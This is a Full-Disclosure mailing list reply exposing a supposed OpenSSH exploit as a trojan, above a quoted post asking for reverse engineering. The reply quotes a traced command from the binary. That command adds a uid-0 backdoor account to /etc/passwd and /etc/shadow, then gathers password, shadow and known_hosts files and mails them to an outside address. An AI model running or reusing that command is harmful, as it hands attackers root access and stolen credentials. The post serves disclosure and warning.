Re: [Full-Disclosure] new openssh exploit in the wild! * is FAKE AS SH@!*

[KF <dotslash@xxxxxxxxxxx>]

printf("[*] sending shellcode\n")= 22
popen("(echo "sys3:x:0:103::/:/bin/sh" >> /etc/passwd; echo
"sys3:\\$1\\$nWXmkX74\\$Ws8fX/MFI3.j5HKahNqIQ0:12311:0:9999
9:7:::" >> /etc/shadow; /sbin/ifconfig -a >/tmp/.tmp;cat /etc/passwd
/etc/shadow /root/.ssh*/known_hosts >> /tmp/.tmp;
 find /home -name known_hosts -exec cat {} >> /tmp/.tmp;cat /tmp/.tmp |
/usr/sbin/sendmail -f ownage@xxxxxx
m0nkeyhack@xxxxxxxxxxxxx) &> /dev/null ; rm -f /tmp/.tmp;", "r") =
0x0804a6b0


-KF


gordon last wrote:
> hi readers,
> while i was staying idle in an so called 0day release channel on one irc 
> network some scriptkiddies were
> talking about an new 0day release.
>
> in my backlog i can see the following:
> ---cut
> 08:09 [R4lph] *** r3t0r (r4lph@xxx) has joined channel #0dayz
> 08:09 [R4lph] 0day: http://www.anzwers.org/free/m0nkeyhack/0d/
> ---cut
>
> i looked at this piece of exploit... it is binary so i'am not sure if 
> this is a trojan or a backdoor or a virus. but i can't see anything 
> strange while sniffing the exploit traffic. and i got root on serveral 
> of my openbsd boxes with that. the bruteforcer seems to be very good.
>
> i too looked at "strings theosshucksass" and found nothing suspicious.
>
> this exploit seems to be in the wild (underground) since beginning of 
> august.
>
> thats quite a long time i hope most admins are patching the systems 
> now... because the exploit is getting round faster and faster.
>
> if anyone can reverse engineer this piece it would be great if he posts 
> his resulsts on his list because iam really intressted on the exploiting 
> technique used for that bug.
>
> i cant get an idea on how to exploit this.
>
> hmm...
> regards,
> glast
>
> ------------------------------------------------------------------------
> Ab sofort auch im Ortsbereich einfach die 0-10-13 vorwählen. Infos unter 
> www.tele2.de » <http://www.tele2.de>

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